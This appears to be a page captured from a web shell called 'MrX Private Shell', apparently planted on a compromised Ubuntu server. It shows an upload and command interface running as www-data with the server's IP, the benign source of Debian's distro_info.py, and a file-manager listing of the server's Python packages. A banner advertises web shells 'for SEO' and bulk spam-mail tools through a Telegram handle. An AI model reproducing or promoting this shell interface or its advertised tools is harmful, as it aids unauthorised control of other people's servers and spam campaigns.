__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
# Copyright (C) 2009-2012, Benjamin Drung <bdrung@debian.org>
#
# Permission to use, copy, modify, and/or distribute this software for any
# purpose with or without fee is hereby granted, provided that the above
# copyright notice and this permission notice appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

"""provides information about Ubuntu's and Debian's distributions"""

import csv
import datetime
import os
import typing


def convert_date(string: str) -> datetime.date:
    """Convert a date string in ISO 8601 into a datetime object."""
    parts = [int(x) for x in string.split("-")]
    if len(parts) == 3:
        (year, month, day) = parts
        return datetime.date(year, month, day)
    if len(parts) == 2:
        (year, month) = parts
        if month == 12:
            return datetime.date(year, month, 31)
        return datetime.date(year, month + 1, 1) - datetime.timedelta(1)
    raise ValueError("Date not in ISO 8601 format.")


def _get_data_dir() -> str:
    """Get the data directory based on the module location."""
    return "/usr/share/distro-info"


class DistroDataOutdated(Exception):
    """Distribution data outdated."""

    def __init__(self) -> None:
        super().__init__(
            "Distribution data outdated. Please check for an update for distro-info-data. "
            "See /usr/share/doc/distro-info-data/README.Debian for details."
        )


class DistroRelease:
    """Represents a distributions release"""

    # pylint: disable=too-few-public-methods
    # pylint: disable=too-many-instance-attributes

    def __init__(
        self,
        version: str,
        codename: str,
        series: str,
        created: datetime.date,
        release: typing.Optional[datetime.date] = None,
        eol: typing.Optional[datetime.date] = None,
        eol_esm: typing.Optional[datetime.date] = None,
        eol_lts: typing.Optional[datetime.date] = None,
        eol_elts: typing.Optional[datetime.date] = None,
        eol_server: typing.Optional[datetime.date] = None,
    ) -> None:
        # pylint: disable=too-many-arguments
        self.version = version
        self.codename = codename
        self.series = series
        self.created = created
        self.release = release
        self.eol = eol
        self.eol_lts = eol_lts
        self.eol_elts = eol_elts
        self.eol_esm = eol_esm
        self.eol_server = eol_server

    def is_supported(self, date: datetime.date) -> bool:
        """Check whether this release is supported on the given date."""
        return date >= self.created and (
            self.eol is None
            or date <= self.eol
            or (self.eol_server is not None and date <= self.eol_server)
        )


def _get_date(row: dict[str, str], column: str) -> typing.Optional[datetime.date]:
    date_string = row.get(column)
    if not date_string:
        return None
    return convert_date(date_string)


class DistroInfo:
    """Base class for distribution information.
    Use DebianDistroInfo or UbuntuDistroInfo instead of using this directly.
    """

    def __init__(self, distro: str) -> None:
        self._distro = distro
        filename = os.path.join(_get_data_dir(), distro.lower() + ".csv")
        with open(filename, encoding="utf-8") as csvfile:
            csv_reader = csv.DictReader(csvfile)
            self._releases = []
            for row in csv_reader:
                release = DistroRelease(
                    row["version"],
                    row["codename"],
                    row["series"],
                    convert_date(row["created"]),
                    _get_date(row, "release"),
                    _get_date(row, "eol"),
                    _get_date(row, "eol-esm"),
                    _get_date(row, "eol-lts"),
                    _get_date(row, "eol-elts"),
                    _get_date(row, "eol-server"),
                )
                self._releases.append(release)
        self._date = datetime.date.today()

    @property
    def all(self) -> list[str]:
        """List codenames of all known distributions."""
        return [x.series for x in self._releases]

    def get_all(self, result: str = "codename") -> list[typing.Union[DistroRelease, str]]:
        """List all known distributions."""
        return [self._format(result, x) for x in self._releases]

    def _avail(self, date: datetime.date) -> list[DistroRelease]:
        """Return all distributions that were available on the given date."""
        return [x for x in self._releases if date >= x.created]

    def codename(
        self,
        release: str,
        date: typing.Optional[datetime.date] = None,
        default: typing.Optional[str] = None,
    ) -> typing.Union[DistroRelease, str, None]:
        """Map codename aliases to the codename they describe."""
        # pylint: disable=no-self-use,unused-argument
        return release

    def version(self, name: str, default: typing.Optional[str] = None) -> typing.Optional[str]:
        """Map codename or series to version"""
        for release in self._releases:
            if name in (release.codename, release.series):
                return release.version
        return default

    def devel(
        self, date: typing.Optional[datetime.date] = None, result: str = "codename"
    ) -> typing.Union[DistroRelease, str]:
        """Get latest development distribution based on the given date."""
        if date is None:
            date = self._date
        distros = [
            x
            for x in self._avail(date)
            if x.release is None or (date < x.release and (x.eol is None or date <= x.eol))
        ]
        if not distros:
            raise DistroDataOutdated()
        return self._format(result, distros[-1])

    def _format(
        self, format_string: str, release: DistroRelease
    ) -> typing.Union[DistroRelease, str]:
        """Format a given distribution entry."""
        if format_string == "object":
            return release
        if format_string == "codename":
            return release.series
        if format_string == "fullname":
            return self._distro + " " + release.version + ' "' + release.codename + '"'
        if format_string == "release":
            return release.version

        raise ValueError(
            "Only codename, fullname, object, and release are allowed "
            "result values, but not '" + format_string + "'."
        )

    def stable(
        self, date: typing.Optional[datetime.date] = None, result: str = "codename"
    ) -> typing.Union[DistroRelease, str]:
        """Get latest stable distribution based on the given date."""
        if date is None:
            date = self._date
        distros = [
            x
            for x in self._avail(date)
            if x.release is not None and date >= x.release and (x.eol is None or date <= x.eol)
        ]
        if not distros:
            raise DistroDataOutdated()
        return self._format(result, distros[-1])

    def supported(
        self, date: typing.Optional[datetime.date] = None, result: str = "codename"
    ) -> list[typing.Union[DistroRelease, str]]:
        """Get list of all supported distributions based on the given date."""
        raise NotImplementedError()

    def valid(self, codename: str) -> bool:
        """Check if the given codename is known."""
        return codename in self.all

    def unsupported(
        self, date: typing.Optional[datetime.date] = None, result: str = "codename"
    ) -> list[typing.Union[DistroRelease, str]]:
        """Get list of all unsupported distributions based on the given date."""
        if date is None:
            date = self._date
        supported = self.supported(date)
        distros = [self._format(result, x) for x in self._avail(date) if x.series not in supported]
        return distros


class DebianDistroInfo(DistroInfo):
    """provides information about Debian's distributions"""

    def __init__(self) -> None:
        super().__init__("Debian")

    def codename(
        self,
        release: str,
        date: typing.Optional[datetime.date] = None,
        default: typing.Optional[str] = None,
    ) -> typing.Union[DistroRelease, str, None]:
        """Map 'unstable', 'testing', etc. to their codenames."""
        if release == "unstable":
            return self.devel(date)
        if release == "testing":
            return self.testing(date)
        if release == "stable":
            return self.stable(date)
        if release == "oldstable":
            return self.old(date)
        return default

    def devel(
        self, date: typing.Optional[datetime.date] = None, result: str = "codename"
    ) -> typing.Union[DistroRelease, str]:
        """Get latest development distribution based on the given date."""
        if date is None:
            date = self._date
        distros = [
            x
            for x in self._avail(date)
            if x.release is None or (date < x.release and (x.eol is None or date <= x.eol))
        ]
        if len(distros) < 2:
            raise DistroDataOutdated()
        return self._format(result, distros[-2])

    def old(
        self, date: typing.Optional[datetime.date] = None, result: str = "codename"
    ) -> typing.Union[DistroRelease, str]:
        """Get old (stable) Debian distribution based on the given date."""
        if date is None:
            date = self._date
        distros = [x for x in self._avail(date) if x.release is not None and date >= x.release]
        if len(distros) < 2:
            raise DistroDataOutdated()
        return self._format(result, distros[-2])

    def supported(
        self, date: typing.Optional[datetime.date] = None, result: str = "codename"
    ) -> list[typing.Union[DistroRelease, str]]:
        """Get list of all supported Debian distributions based on the given
        date."""
        if date is None:
            date = self._date
        distros = [
            self._format(result, x) for x in self._avail(date) if x.eol is None or date <= x.eol
        ]
        return distros

    def lts_supported(
        self, date: typing.Optional[datetime.date] = None, result: str = "codename"
    ) -> list[typing.Union[DistroRelease, str]]:
        """Get list of all LTS supported Debian distributions based on the given
        date."""
        if date is None:
            date = self._date
        distros = [
            self._format(result, x)
            for x in self._avail(date)
            if (x.eol is not None and date > x.eol)
            and (x.eol_lts is not None and date <= x.eol_lts)
        ]
        return distros

    def elts_supported(
        self, date: typing.Optional[datetime.date] = None, result: str = "codename"
    ) -> list[typing.Union[DistroRelease, str]]:
        """Get list of all Extended LTS supported Debian distributions based on
        the given date."""
        if date is None:
            date = self._date
        distros = [
            self._format(result, x)
            for x in self._avail(date)
            if (x.eol_lts is not None and date > x.eol_lts)
            and (x.eol_elts is not None and date <= x.eol_elts)
        ]
        return distros

    def testing(
        self, date: typing.Optional[datetime.date] = None, result: str = "codename"
    ) -> typing.Union[DistroRelease, str]:
        """Get latest testing Debian distribution based on the given date."""
        if date is None:
            date = self._date
        distros = [
            x
            for x in self._avail(date)
            if (x.release is None and x.version)
            or (x.release is not None and date < x.release and (x.eol is None or date <= x.eol))
        ]
        if not distros:
            raise DistroDataOutdated()
        return self._format(result, distros[-1])

    def valid(self, codename: str) -> bool:
        """Check if the given codename is known."""
        return DistroInfo.valid(self, codename) or codename in [
            "unstable",
            "testing",
            "stable",
            "oldstable",
        ]


class UbuntuDistroInfo(DistroInfo):
    """provides information about Ubuntu's distributions"""

    def __init__(self) -> None:
        super().__init__("Ubuntu")

    def lts(
        self, date: typing.Optional[datetime.date] = None, result: str = "codename"
    ) -> typing.Union[DistroRelease, str]:
        """Get latest long term support (LTS) Ubuntu distribution based on the
        given date."""
        if date is None:
            date = self._date
        distros = [
            x
            for x in self._releases
            if x.version.find("LTS") >= 0 and x.release and x.eol and x.release <= date <= x.eol
        ]
        if not distros:
            raise DistroDataOutdated()
        return self._format(result, distros[-1])

    def is_lts(self, codename: str) -> bool:
        """Is codename an LTS release?"""
        distros = [x for x in self._releases if x.series == codename]
        if not distros:
            return False
        return "LTS" in distros[0].version

    def supported(
        self, date: typing.Optional[datetime.date] = None, result: str = "codename"
    ) -> list[typing.Union[DistroRelease, str]]:
        """Get list of all supported Ubuntu distributions based on the given
        date."""
        if date is None:
            date = self._date
        distros = [
            self._format(result, x)
            for x in self._avail(date)
            if (x.eol and date <= x.eol) or (x.eol_server is not None and date <= x.eol_server)
        ]
        return distros

    def supported_esm(
        self, date: typing.Optional[datetime.date] = None, result: str = "codename"
    ) -> list[typing.Union[DistroRelease, str]]:
        """Get list of all ESM supported Ubuntu distributions based on the
        given date."""
        if date is None:
            date = self._date
        distros = [
            self._format(result, x)
            for x in self._avail(date)
            if x.eol_esm is not None and date <= x.eol_esm
        ]
        return distros

Filemanager

Name Type Size Permission Actions
Automat-22.10.0.egg-info Folder 0755
CommandNotFound Folder 0755
ConfigArgParse-1.7.egg-info Folder 0755
DistUpgrade Folder 0755
HweSupportStatus Folder 0755
NvidiaDetector Folder 0755
OpenSSL Folder 0755
PyICU-2.12.egg-info Folder 0755
PyJWT-2.7.0.dist-info Folder 0755
PyYAML-6.0.1.dist-info Folder 0755
Quirks Folder 0755
UbuntuDrivers Folder 0755
UpdateManager Folder 0755
__pycache__ Folder 0755
_distutils_hack Folder 0755
_yaml Folder 0755
acme Folder 0755
acme-2.9.0.egg-info Folder 0755
apport Folder 0755
apt Folder 0755
apt_inst-stubs Folder 0755
apt_pkg-stubs Folder 0755
aptsources Folder 0755
asyncore Folder 0755
attr Folder 0755
attrs Folder 0755
attrs-23.2.0.dist-info Folder 0755
automat Folder 0755
bcc Folder 0755
bcc-0.29.1.egg-info Folder 0755
bcrypt Folder 0755
bcrypt-3.2.2.egg-info Folder 0755
blinker Folder 0755
blinker-1.7.0.dist-info Folder 0755
boto3 Folder 0755
boto3-1.34.46.egg-info Folder 0755
botocore Folder 0755
botocore-1.34.46.egg-info Folder 0755
certbot Folder 0755
certbot-2.9.0.egg-info Folder 0755
certbot_apache Folder 0755
certbot_apache-2.9.0.egg-info Folder 0755
certifi Folder 0755
certifi-2023.11.17.egg-info Folder 0755
chardet Folder 0755
chardet-5.2.0.dist-info Folder 0755
click Folder 0755
click-8.1.6.egg-info Folder 0755
colorama Folder 0755
colorama-0.4.6.dist-info Folder 0755
configobj Folder 0755
configobj-5.0.8.dist-info Folder 0755
constantly Folder 0755
constantly-23.10.4.egg-info Folder 0755
cryptography Folder 0755
cryptography-41.0.7.dist-info Folder 0755
cryptography.egg-info Folder 0755
dateutil Folder 0755
dbus Folder 0755
dbus_python-1.3.2.egg-info Folder 0755
debian Folder 0755
debian_bundle Folder 0755
distro Folder 0755
distro-1.9.0.dist-info Folder 0755
distro_info Folder 0755
distro_info-1.7+build1.egg-info Folder 0755
fail2ban Folder 0755
fail2ban-1.0.2.egg-info Folder 0755
gi Folder 0755
hamcrest Folder 0755
httplib2 Folder 0755
httplib2-0.20.4.dist-info Folder 0755
hyperlink Folder 0755
hyperlink-21.0.0.egg-info Folder 0755
icu Folder 0755
idna Folder 0755
idna-3.6.dist-info Folder 0755
incremental Folder 0755
incremental-22.10.0.dist-info Folder 0755
janitor Folder 0755
jmespath Folder 0755
jmespath-1.0.1.egg-info Folder 0755
josepy Folder 0755
josepy-1.14.0.dist-info Folder 0755
jwt Folder 0755
landscape Folder 0755
launchpadlib Folder 0755
launchpadlib-1.11.0.egg-info Folder 0755
lazr Folder 0755
lazr.restfulclient-0.14.6.egg-info Folder 0755
lazr.uri-1.0.6.egg-info Folder 0755
linux-tools-6.8.0-41 Folder 0755
magic Folder 0755
markdown_it Folder 0755
markdown_it_py-3.0.0.dist-info Folder 0755
mdurl Folder 0755
mdurl-0.1.2.dist-info Folder 0755
netaddr Folder 0755
netaddr-0.8.0.egg-info Folder 0755
netifaces-0.11.0.egg-info Folder 0755
netplan Folder 0755
oauthlib Folder 0755
oauthlib-3.2.2.egg-info Folder 0755
packaging Folder 0755
packaging-24.0.dist-info Folder 0755
parsedatetime Folder 0755
parsedatetime-2.6.egg-info Folder 0755
perf Folder 0755
pexpect Folder 0755
pexpect-4.9.0.egg-info Folder 0755
pkg_resources Folder 0755
ptyprocess Folder 0755
ptyprocess-0.7.0.dist-info Folder 0755
pyOpenSSL-23.2.0.egg-info Folder 0755
pyRFC3339-1.1.egg-info Folder 0755
pyasn1 Folder 0755
pyasn1-0.4.8.egg-info Folder 0755
pyasn1_modules Folder 0755
pyasyncore-1.0.2.egg-info Folder 0755
pygments Folder 0755
pygments-2.17.2.dist-info Folder 0755
pygtkcompat Folder 0755
pyhamcrest-2.1.0.dist-info Folder 0755
pyinotify-0.9.6.egg-info Folder 0755
pyparsing Folder 0755
pyparsing-3.1.1.dist-info Folder 0755
pyrfc3339 Folder 0755
pyserial-3.5.egg-info Folder 0755
python_apt-2.7.7+ubuntu5.1.egg-info Folder 0755
python_dateutil-2.8.2.egg-info Folder 0755
python_debian-0.1.49+ubuntu2.egg-info Folder 0755
python_magic-0.4.27.egg-info Folder 0755
pytz Folder 0755
pytz-2024.1.egg-info Folder 0755
requests Folder 0755
requests-2.31.0.egg-info Folder 0755
rich Folder 0755
rich-13.7.1.dist-info Folder 0755
s3transfer Folder 0755
s3transfer-0.10.1.egg-info Folder 0755
serial Folder 0755
service_identity Folder 0755
service_identity-24.1.0.dist-info Folder 0755
setuptools Folder 0755
setuptools-68.1.2.egg-info Folder 0755
six-1.16.0.egg-info Folder 0755
softwareproperties Folder 0755
sos Folder 0755
sos-4.9.2.egg-info Folder 0755
ssh_import_id Folder 0755
ssh_import_id-5.11.egg-info Folder 0755
systemd Folder 0755
systemd_python-235.egg-info Folder 0755
twisted Folder 0755
twisted-24.3.0.dist-info Folder 0755
uaclient Folder 0755
ubuntu_drivers_common-0.0.0.egg-info Folder 0755
ubuntu_pro_client-8001.egg-info Folder 0755
unattended_upgrades-0.1.egg-info Folder 0755
urllib3 Folder 0755
urllib3-2.0.7.dist-info Folder 0755
validate Folder 0755
wadllib Folder 0755
wadllib-1.3.6.egg-info Folder 0755
xkit Folder 0755
yaml Folder 0755
zope Folder 0755
zope.interface-6.1.egg-info Folder 0755
PyGObject-3.48.2.egg-info File 851 B 0644
_cffi_backend.cpython-312-x86_64-linux-gnu.so File 189.95 KB 0644
_dbus_bindings.cpython-312-x86_64-linux-gnu.so File 168.28 KB 0644
_dbus_glib_bindings.cpython-312-x86_64-linux-gnu.so File 22.5 KB 0644
_snack.cpython-312-x86_64-linux-gnu.so File 46.74 KB 0644
apport_python_hook.py File 8.49 KB 0644
apt_inst.cpython-312-x86_64-linux-gnu.so File 58.66 KB 0644
apt_pkg.cpython-312-x86_64-linux-gnu.so File 339.19 KB 0644
augeas.py File 23 KB 0644
command_not_found-0.3.egg-info File 189 B 0644
configargparse.py File 63.09 KB 0644
deb822.py File 273 B 0644
debconf.py File 7.87 KB 0644
distro_info.py File 14.26 KB 0644
distutils-precedence.pth File 151 B 0644
netifaces.cpython-312-x86_64-linux-gnu.so File 26.66 KB 0644
problem_report.py File 32.83 KB 0644
pyasn1_modules-0.2.8.egg-info File 1.79 KB 0644
pyinotify.py File 86.92 KB 0644
python_augeas-0.5.0.egg-info File 238 B 0644
six.py File 33.74 KB 0644
snack.py File 30.4 KB 0644
xkit-0.0.0.egg-info File 266 B 0644
zope.interface-6.1-nspkg.pth File 529 B 0644
Filemanager